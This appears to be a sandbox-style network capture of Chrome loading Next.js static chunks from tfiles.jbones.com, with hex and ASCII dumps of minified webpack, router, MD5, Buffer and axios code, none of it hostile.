2025-03-27 17:56:24 UTC	8302	IN	Data Raw: 69 7d 2c 74 29 7d 2c 75 3d 6c 3b 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 64 65 66 61 75 6c 74 7c 7c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 2e 64 65 66 61 75 6c 74 26 26 6e 75 6c 6c 21 3d 3d 74 2e 64 65 66 61 75 6c 74 29 26 26 76 6f 69 64 20 30 3d 3d 3d 74 2e 64 65 66 61 75 6c 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 26 26 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2e 64 65 66 61 75 6c 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 74 2e 64 65 66 61 75 6c 74 2c 74 29 2c 65 2e 65 78 70 6f 72 74 73 3d 74 2e 64 65 66 61 75 6c 74 29 7d 2c 35 35 36 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 Data Ascii: i},t)},u=l;("function"==typeof t.default\|\|"object"==typeof t.default&&null!==t.default)&&void 0===t.default.__esModule&&(Object.defineProperty(t.default,"__esModule",{value:!0}),Object.assign(t.default,t),e.exports=t.default)},5564:function(e,t,r){"use st
2025-03-27 17:56:24 UTC	6676	IN	Data Raw: 2c 7b 75 70 64 61 74 65 53 63 72 69 70 74 73 3a 68 2c 73 63 72 69 70 74 73 3a 6d 2c 67 65 74 49 73 53 73 72 3a 67 2c 61 70 70 44 69 72 3a 79 2c 6e 6f 6e 63 65 3a 5f 7d 3d 28 30 2c 69 2e 75 73 65 43 6f 6e 74 65 78 74 29 28 6c 2e 48 65 61 64 4d 61 6e 61 67 65 72 43 6f 6e 74 65 78 74 29 2c 62 3d 28 30 2c 69 2e 75 73 65 52 65 66 29 28 21 31 29 3b 28 30 2c 69 2e 75 73 65 45 66 66 65 63 74 29 28 28 29 3d 3e 7b 6c 65 74 20 65 3d 74 7c 7c 72 3b 62 2e 63 75 72 72 65 6e 74 7c 7c 28 61 26 26 65 26 26 66 2e 68 61 73 28 65 29 26 26 61 28 29 2c 62 2e 63 75 72 72 65 6e 74 3d 21 30 29 7d 2c 5b 61 2c 74 2c 72 5d 29 3b 6c 65 74 20 76 3d 28 30 2c 69 2e 75 73 65 52 65 66 29 28 21 31 29 3b 69 66 28 28 30 2c 69 2e 75 73 65 45 66 66 65 63 74 29 28 28 29 3d 3e 7b 21 76 2e 63 75 Data Ascii: ,{updateScripts:h,scripts:m,getIsSsr:g,appDir:y,nonce:_}=(0,i.useContext)(l.HeadManagerContext),b=(0,i.useRef)(!1);(0,i.useEffect)(()=>{let e=t\|\|r;b.current\|\|(a&&e&&f.has(e)&&a(),b.current=!0)},[a,t,r]);let v=(0,i.useRef)(!1);if((0,i.useEffect)(()=>{!v.cu
2025-03-27 17:56:24 UTC	10674	IN	Data Raw: 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 2c 75 3d 69 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 2c 73 3d 69 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 2c 63 3d 69 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 7d 2c 35 39 38 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 65 73 63 61 70 65 53 74 72 69 6e 67 52 65 67 65 78 70 22 2c 7b 65 6e 75 6d Data Ascii: efault.createContext(null),u=i.default.createContext(null),s=i.default.createContext(null),c=i.default.createContext(null)},5987:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"escapeStringRegexp",{enum
2025-03-27 17:56:24 UTC	11860	IN	Data Raw: 65 49 6e 66 6f 29 28 65 2e 70 61 74 68 6e 61 6d 65 2c 7b 6e 65 78 74 43 6f 6e 66 69 67 3a 6e 2c 70 61 72 73 65 44 61 74 61 3a 21 30 7d 29 2c 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 3a 72 2e 72 6f 75 74 65 72 2e 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 2c 62 75 69 6c 64 49 64 3a 22 22 7d 29 3b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 7b 74 79 70 65 3a 22 72 65 64 69 72 65 63 74 2d 69 6e 74 65 72 6e 61 6c 22 2c 6e 65 77 41 73 3a 22 22 2b 74 2b 65 2e 71 75 65 72 79 2b 65 2e 68 61 73 68 2c 6e 65 77 55 72 6c 3a 22 22 2b 74 2b 65 2e 71 75 65 72 79 2b 65 2e 68 61 73 68 7d 29 7d 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 7b 74 79 70 65 3a 22 72 65 64 69 72 65 63 74 2d 65 78 74 65 72 6e 61 6c 22 2c 64 65 73 74 69 Data Ascii: eInfo)(e.pathname,{nextConfig:n,parseData:!0}),defaultLocale:r.router.defaultLocale,buildId:""});return Promise.resolve({type:"redirect-internal",newAs:""+t+e.query+e.hash,newUrl:""+t+e.query+e.hash})}return Promise.resolve({type:"redirect-external",desti
2025-03-27 17:56:24 UTC	10234	IN	Data Raw: 73 79 6e 63 28 29 3d 3e 7b 69 66 28 43 29 7b 69 66 28 28 6e 75 6c 6c 3d 3d 45 3f 76 6f 69 64 20 30 3a 45 2e 6a 73 6f 6e 29 26 26 21 52 29 72 65 74 75 72 6e 7b 63 61 63 68 65 4b 65 79 3a 45 2e 63 61 63 68 65 4b 65 79 2c 70 72 6f 70 73 3a 45 2e 6a 73 6f 6e 7d 3b 6c 65 74 20 65 3d 28 6e 75 6c 6c 3d 3d 45 3f 76 6f 69 64 20 30 3a 45 2e 64 61 74 61 48 72 65 66 29 3f 45 2e 64 61 74 61 48 72 65 66 3a 74 68 69 73 2e 70 61 67 65 4c 6f 61 64 65 72 2e 67 65 74 44 61 74 61 48 72 65 66 28 7b 68 72 65 66 3a 28 30 2c 79 2e 66 6f 72 6d 61 74 57 69 74 68 56 61 6c 69 64 61 74 69 6f 6e 29 28 7b 70 61 74 68 6e 61 6d 65 3a 72 2c 71 75 65 72 79 3a 6e 7d 29 2c 61 73 50 61 74 68 3a 69 2c 6c 6f 63 61 6c 65 3a 73 7d 29 2c 74 3d 61 77 61 69 74 20 71 28 7b 64 61 74 61 48 72 65 66 3a Data Ascii: sync()=>{if(C){if((null==E?void 0:E.json)&&!R)return{cacheKey:E.cacheKey,props:E.json};let e=(null==E?void 0:E.dataHref)?E.dataHref:this.pageLoader.getDataHref({href:(0,y.formatWithValidation)({pathname:r,query:n}),asPath:i,locale:s}),t=await q({dataHref:

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:24 UTC	576	OUT	GET /_next/static/chunks/pages/_app-aea6920bd27938ca.js HTTP/1.1 Host: tfiles.jbones.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tfiles.jbones.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:24 UTC	624	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 105723 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_app-aea6920bd27938ca.js" Content-Length: 280 Content-Type: application/javascript; charset=utf-8 Date: Thu, 27 Mar 2025 17:56:24 GMT Etag: "fee534cee4da1c4a41d1ee54f48db65b" Last-Modified: Wed, 26 Mar 2025 12:34:21 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/_app-aea6920bd27938ca.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::l9wcn-1743098184190-85a3497854ea Connection: close
2025-03-27 17:56:24 UTC	280	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 38 38 5d 2c 7b 31 35 39 37 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 5f 2c 75 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 5f 61 70 70 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 28 35 30 33 35 29 7d 5d 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 5f 3d 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 72 65 74 75 72 6e 20 6e 28 6e 2e 73 3d 5f 29 7d 3b 6e 2e 4f 28 30 2c 5b 37 37 34 2c 31 37 39 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 28 31 35 39 37 29 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[888],{1597:function(n,_,u){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/_app",function(){return u(5035)}])}},function(n){var _=function(_){return n(n.s=_)};n.O(0,[774,179],function(){return _(1597)

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:24 UTC	569	OUT	GET /_next/static/chunks/186-e401717d9e8b842b.js HTTP/1.1 Host: tfiles.jbones.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tfiles.jbones.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:24 UTC	618	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 105723 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="186-e401717d9e8b842b.js" Content-Length: 64992 Content-Type: application/javascript; charset=utf-8 Date: Thu, 27 Mar 2025 17:56:24 GMT Etag: "575c44cd8afe1990210f891769bc660a" Last-Modified: Wed, 26 Mar 2025 12:34:21 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/186-e401717d9e8b842b.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::lk467-1743098184191-3974a3c24241 Connection: close
2025-03-27 17:56:24 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 38 36 5d 2c 7b 34 38 37 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 75 74 66 38 3a 7b 73 74 72 69 6e 67 54 6f 42 79 74 65 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 62 69 6e 2e 73 74 72 69 6e 67 54 6f 42 79 74 65 73 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 29 7d 2c 62 79 74 65 73 54 6f 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 65 2e 62 69 6e 2e 62 79 74 65 73 54 6f 53 74 72 69 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[186],{487:function(t){var e={utf8:{stringToBytes:function(t){return e.bin.stringToBytes(unescape(encodeURIComponent(t)))},bytesToString:function(t){return decodeURIComponent(escape(e.bin.bytesToStri
2025-03-27 17:56:24 UTC	937	IN	Data Raw: 74 2c 30 29 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 7c 7c 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 55 69 6e 74 38 41 72 72 61 79 7c 7c 28 74 3d 74 2e 74 6f 53 74 72 69 6e 67 28 29 29 3b 66 6f 72 28 76 61 72 20 72 3d 6e 2e 62 79 74 65 73 54 6f 57 6f 72 64 73 28 74 29 2c 75 3d 38 2a 74 2e 6c 65 6e 67 74 68 2c 66 3d 31 37 33 32 35 38 34 31 39 33 2c 6c 3d 2d 32 37 31 37 33 33 38 37 39 2c 63 3d 2d 31 37 33 32 35 38 34 31 39 34 2c 68 3d 32 37 31 37 33 33 38 37 38 2c 70 3d 30 3b 70 3c 72 2e 6c 65 6e 67 74 68 3b 70 2b 2b 29 72 5b 70 5d 3d 28 72 5b 70 5d 3c 3c 38 7c 72 5b 70 5d 3e 3e 3e 32 34 29 26 31 36 37 31 31 39 33 35 7c 28 72 5b 70 5d 3c 3c 32 34 7c 72 5b 70 5d 3e 3e 3e 38 29 26 34 32 37 38 32 35 35 33 36 30 3b 72 5b 75 3e 3e 3e 35 5d 7c 3d Data Ascii: t,0):Array.isArray(t)\|\|t.constructor===Uint8Array\|\|(t=t.toString());for(var r=n.bytesToWords(t),u=8*t.length,f=1732584193,l=-271733879,c=-1732584194,h=271733878,p=0;p<r.length;p++)r[p]=(r[p]<<8\|r[p]>>>24)&16711935\|(r[p]<<24\|r[p]>>>8)&4278255360;r[u>>>5]\|=
2025-03-27 17:56:24 UTC	4744	IN	Data Raw: 35 37 39 36 35 31 30 29 2c 68 3d 79 28 68 2c 66 2c 6c 2c 63 2c 72 5b 70 2b 36 5d 2c 39 2c 2d 31 30 36 39 35 30 31 36 33 32 29 2c 63 3d 79 28 63 2c 68 2c 66 2c 6c 2c 72 5b 70 2b 31 31 5d 2c 31 34 2c 36 34 33 37 31 37 37 31 33 29 2c 6c 3d 79 28 6c 2c 63 2c 68 2c 66 2c 72 5b 70 2b 30 5d 2c 32 30 2c 2d 33 37 33 38 39 37 33 30 32 29 2c 66 3d 79 28 66 2c 6c 2c 63 2c 68 2c 72 5b 70 2b 35 5d 2c 35 2c 2d 37 30 31 35 35 38 36 39 31 29 2c 68 3d 79 28 68 2c 66 2c 6c 2c 63 2c 72 5b 70 2b 31 30 5d 2c 39 2c 33 38 30 31 36 30 38 33 29 2c 63 3d 79 28 63 2c 68 2c 66 2c 6c 2c 72 5b 70 2b 31 35 5d 2c 31 34 2c 2d 36 36 30 34 37 38 33 33 35 29 2c 6c 3d 79 28 6c 2c 63 2c 68 2c 66 2c 72 5b 70 2b 34 5d 2c 32 30 2c 2d 34 30 35 35 33 37 38 34 38 29 2c 66 3d 79 28 66 2c 6c 2c 63 2c Data Ascii: 5796510),h=y(h,f,l,c,r[p+6],9,-1069501632),c=y(c,h,f,l,r[p+11],14,643717713),l=y(l,c,h,f,r[p+0],20,-373897302),f=y(f,l,c,h,r[p+5],5,-701558691),h=y(h,f,l,c,r[p+10],9,38016083),c=y(c,h,f,l,r[p+15],14,-660478335),l=y(l,c,h,f,r[p+4],20,-405537848),f=y(f,l,c,
2025-03-27 17:56:24 UTC	5930	IN	Data Raw: 6e 65 20 6f 66 20 74 79 70 65 20 73 74 72 69 6e 67 2c 20 42 75 66 66 65 72 2c 20 41 72 72 61 79 42 75 66 66 65 72 2c 20 41 72 72 61 79 2c 20 6f 72 20 41 72 72 61 79 2d 6c 69 6b 65 20 4f 62 6a 65 63 74 2e 20 52 65 63 65 69 76 65 64 20 74 79 70 65 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 69 66 28 43 28 74 2c 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 74 26 26 43 28 74 2e 62 75 66 66 65 72 2c 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 26 26 28 43 28 74 2c 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 74 26 26 43 28 74 2e 62 75 66 66 65 72 2c 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 29 29 29 72 65 74 75 72 6e 20 66 75 6e 63 74 69 Data Ascii: ne of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof t);if(C(t,ArrayBuffer)\|\|t&&C(t.buffer,ArrayBuffer)\|\|"undefined"!=typeof SharedArrayBuffer&&(C(t,SharedArrayBuffer)\|\|t&&C(t.buffer,SharedArrayBuffer)))return functi
2025-03-27 17:56:24 UTC	7116	IN	Data Raw: 3d 2b 65 2c 72 3e 3e 3e 3d 30 2c 69 7c 7c 45 28 74 2c 65 2c 72 2c 38 2c 31 37 39 37 36 39 33 31 33 34 38 36 32 33 31 35 37 65 32 39 32 2c 2d 31 37 39 37 36 39 33 31 33 34 38 36 32 33 31 35 37 65 32 39 32 29 2c 6f 2e 77 72 69 74 65 28 74 2c 65 2c 72 2c 6e 2c 35 32 2c 38 29 2c 72 2b 38 7d 65 2e 42 75 66 66 65 72 3d 61 2c 65 2e 53 6c 6f 77 42 75 66 66 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 2b 74 21 3d 74 26 26 28 74 3d 30 29 2c 61 2e 61 6c 6c 6f 63 28 2b 74 29 7d 2c 65 2e 49 4e 53 50 45 43 54 5f 4d 41 58 5f 42 59 54 45 53 3d 35 30 2c 65 2e 6b 4d 61 78 4c 65 6e 67 74 68 3d 32 31 34 37 34 38 33 36 34 37 2c 61 2e 54 59 50 45 44 5f 41 52 52 41 59 5f 53 55 50 50 4f 52 54 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 74 3d 6e Data Ascii: =+e,r>>>=0,i\|\|E(t,e,r,8,17976931348623157e292,-17976931348623157e292),o.write(t,e,r,n,52,8),r+8}e.Buffer=a,e.SlowBuffer=function(t){return+t!=t&&(t=0),a.alloc(+t)},e.INSPECT_MAX_BYTES=50,e.kMaxLength=2147483647,a.TYPED_ARRAY_SUPPORT=function(){try{var t=n
2025-03-27 17:56:24 UTC	8302	IN	Data Raw: 65 7c 7c 77 28 74 2c 31 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 2c 31 32 38 26 74 68 69 73 5b 74 5d 29 3f 2d 28 28 32 35 35 2d 74 68 69 73 5b 74 5d 2b 31 29 2a 31 29 3a 74 68 69 73 5b 74 5d 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 61 64 49 6e 74 31 36 4c 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3e 3e 3e 3d 30 2c 65 7c 7c 77 28 74 2c 32 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 3b 76 61 72 20 72 3d 74 68 69 73 5b 74 5d 7c 74 68 69 73 5b 74 2b 31 5d 3c 3c 38 3b 72 65 74 75 72 6e 20 33 32 37 36 38 26 72 3f 34 32 39 34 39 30 31 37 36 30 7c 72 3a 72 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 61 64 49 6e 74 31 36 42 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3e 3e 3e 3d 30 2c 65 7c 7c 77 28 74 2c 32 2c 74 68 69 73 2e 6c 65 6e 67 74 68 Data Ascii: e\|\|w(t,1,this.length),128&this[t])?-((255-this[t]+1)*1):this[t]},a.prototype.readInt16LE=function(t,e){t>>>=0,e\|\|w(t,2,this.length);var r=this[t]\|this[t+1]<<8;return 32768&r?4294901760\|r:r},a.prototype.readInt16BE=function(t,e){t>>>=0,e\|\|w(t,2,this.length
2025-03-27 17:56:24 UTC	6676	IN	Data Raw: 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 72 2e 63 61 6c 6c 28 74 68 69 73 2c 74 29 7d 7d 7d 28 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 74 2c 65 29 7b 74 68 69 73 2e 66 75 6e 3d 74 2c 74 68 69 73 2e 61 72 72 61 79 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 7d 6f 2e 6e 65 78 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 41 72 72 61 79 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2d 31 29 3b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 29 66 6f 72 28 76 61 72 20 72 3d 31 3b 72 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 65 5b 72 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3b 75 2e 70 75 73 68 28 6e 65 77 20 70 28 74 2c 65 29 29 2c 31 21 3d 3d 75 2e 6c 65 6e 67 74 68 Data Ascii: catch(e){return r.call(this,t)}}}(t)}}function p(t,e){this.fun=t,this.array=e}function d(){}o.nextTick=function(t){var e=Array(arguments.length-1);if(arguments.length>1)for(var r=1;r<arguments.length;r++)e[r-1]=arguments[r];u.push(new p(t,e)),1!==u.length
2025-03-27 17:56:24 UTC	10674	IN	Data Raw: 61 74 6f 72 5d 29 7d 2c 74 6f 4a 53 4f 4e 4f 62 6a 65 63 74 3a 74 70 2c 69 73 41 73 79 6e 63 46 6e 3a 74 64 2c 69 73 54 68 65 6e 61 62 6c 65 3a 74 79 2c 73 65 74 49 6d 6d 65 64 69 61 74 65 3a 74 67 2c 61 73 61 70 3a 74 6d 7d 3b 66 75 6e 63 74 69 6f 6e 20 74 77 28 74 2c 65 2c 72 2c 6e 2c 6f 29 7b 45 72 72 6f 72 2e 63 61 6c 6c 28 74 68 69 73 29 2c 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 3f 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 3a 74 68 69 73 2e 73 74 61 63 6b 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 2c 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 74 2c 74 68 69 73 2e 6e 61 6d 65 3d 22 41 78 69 6f 73 45 72 72 6f 72 22 2c 65 26 26 28 74 Data Ascii: ator])},toJSONObject:tp,isAsyncFn:td,isThenable:ty,setImmediate:tg,asap:tm};function tw(t,e,r,n,o){Error.call(this),Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):this.stack=Error().stack,this.message=t,this.name="AxiosError",e&&(t
2025-03-27 17:56:24 UTC	11860	IN	Data Raw: 5b 22 67 65 74 22 2c 22 73 65 74 22 2c 22 68 61 73 22 5d 2e 66 6f 72 45 61 63 68 28 6e 3d 3e 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 6e 2b 72 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6f 29 7b 72 65 74 75 72 6e 20 74 68 69 73 5b 6e 5d 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 74 2c 72 2c 6f 29 7d 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 7d 29 7d 28 6e 2c 74 29 2c 72 5b 65 5d 3d 21 30 29 7d 72 65 74 75 72 6e 20 74 62 2e 69 73 41 72 72 61 79 28 74 29 3f 74 2e 66 6f 72 45 61 63 68 28 6f 29 3a 6f 28 74 29 2c 74 68 69 73 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 30 28 74 2c 65 29 7b 6c 65 74 20 72 3d 74 68 69 73 7c 7c 74 4a 2c 6e 3d 65 7c 7c 72 2c 6f 3d 74 51 2e 66 72 6f 6d 28 6e 2e 68 65 61 64 65 72 Data Ascii: ["get","set","has"].forEach(n=>{Object.defineProperty(t,n+r,{value:function(t,r,o){return this[n].call(this,e,t,r,o)},configurable:!0})})}(n,t),r[e]=!0)}return tb.isArray(t)?t.forEach(o):o(t),this}}function t0(t,e){let r=this\|\|tJ,n=e\|\|r,o=tQ.from(n.header
2025-03-27 17:56:24 UTC	6381	IN	Data Raw: 6e 21 74 31 28 65 29 26 26 28 65 4f 28 74 29 2c 65 26 26 65 2e 72 65 73 70 6f 6e 73 65 26 26 28 65 2e 72 65 73 70 6f 6e 73 65 2e 64 61 74 61 3d 74 30 2e 63 61 6c 6c 28 74 2c 74 2e 74 72 61 6e 73 66 6f 72 6d 52 65 73 70 6f 6e 73 65 2c 65 2e 72 65 73 70 6f 6e 73 65 29 2c 65 2e 72 65 73 70 6f 6e 73 65 2e 68 65 61 64 65 72 73 3d 74 51 2e 66 72 6f 6d 28 65 2e 72 65 73 70 6f 6e 73 65 2e 68 65 61 64 65 72 73 29 29 29 2c 50 72 6f 6d 69 73 65 2e 72 65 6a 65 63 74 28 65 29 7d 29 7d 6c 65 74 20 65 78 3d 22 31 2e 37 2e 39 22 2c 65 43 3d 7b 7d 3b 5b 22 6f 62 6a 65 63 74 22 2c 22 62 6f 6f 6c 65 61 6e 22 2c 22 6e 75 6d 62 65 72 22 2c 22 66 75 6e 63 74 69 6f 6e 22 2c 22 73 74 72 69 6e 67 22 2c 22 73 79 6d 62 6f 6c 22 5d 2e 66 6f 72 45 61 63 68 28 28 74 2c 65 29 3d 3e 7b Data Ascii: n!t1(e)&&(eO(t),e&&e.response&&(e.response.data=t0.call(t,t.transformResponse,e.response),e.response.headers=tQ.from(e.response.headers))),Promise.reject(e)})}let ex="1.7.9",eC={};["object","boolean","number","function","string","symbol"].forEach((t,e)=>{

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:24 UTC	577	OUT	GET /_next/static/chunks/pages/index-2ab0a5a476940d05.js HTTP/1.1 Host: tfiles.jbones.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://tfiles.jbones.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:24 UTC	627	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 105723 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="index-2ab0a5a476940d05.js" Content-Length: 3438 Content-Type: application/javascript; charset=utf-8 Date: Thu, 27 Mar 2025 17:56:24 GMT Etag: "d7d50e3d8374ec8df305835eb0ea5836" Last-Modified: Wed, 26 Mar 2025 12:34:21 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/index-2ab0a5a476940d05.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::dbkl5-1743098184636-48048b463fc6 Connection: close
